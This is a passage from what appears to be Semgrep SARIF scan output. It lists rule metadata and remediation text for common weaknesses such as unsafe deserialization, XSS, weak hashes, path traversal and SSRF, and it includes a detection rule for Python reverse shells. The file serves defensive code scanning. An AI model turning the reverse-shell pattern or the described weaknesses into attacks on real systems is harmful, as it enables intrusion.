Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"help":{"markdown":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell)\n - [https://cwe.mitre.org/data/definitions/553.html](https://cwe.mitre.org/data/definitions/553.html)\n","text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell","id":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","name":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","properties":{"precision":"very-high","tags":["CWE-553: Command Shell in Externally Accessible Directory","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.python-reverse-shell.python-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"help":{"markdown":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function","id":"python.lang.security.insecure-hash-function.insecure-hash-function","name":"python.lang.security.insecure-hash-function.insecure-hash-function","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-function.insecure-hash-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill","id":"python.lang.security.deserialization.pickle.avoid-dill","name":"python.lang.security.deserialization.pickle.avoid-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","id":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","name":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"help":{"markdown":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511](https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511)\n - [https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication](https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication)\n","text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","id":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","name":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","id":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","name":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","id":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","name":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-missing.django-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","id":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","name":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-sandbox-injection.express-sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","id":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","name":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","id":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","name":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","id":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","name":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"help":{"markdown":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks)\n","text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","id":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","name":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"help":{"markdown":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.android.security.exported_activity.exported_activity)\n - [https://cwe.mitre.org/data/definitions/926.html](https://cwe.mitre.org/data/definitions/926.html)\n","text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"helpUri":"https://semgrep.dev/r/java.android.security.exported_activity.exported_activity","id":"java.android.security.exported_activity.exported_activity","name":"java.android.security.exported_activity.exported_activity","properties":{"precision":"very-high","tags":["CWE-926: Improper Export of Android Application Components","MEDIUM CONFIDENCE","OWASP-A5:2021 Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.android.security.exported_activity.exported_activity"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","id":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","name":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-false.django-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","id":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","name":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - 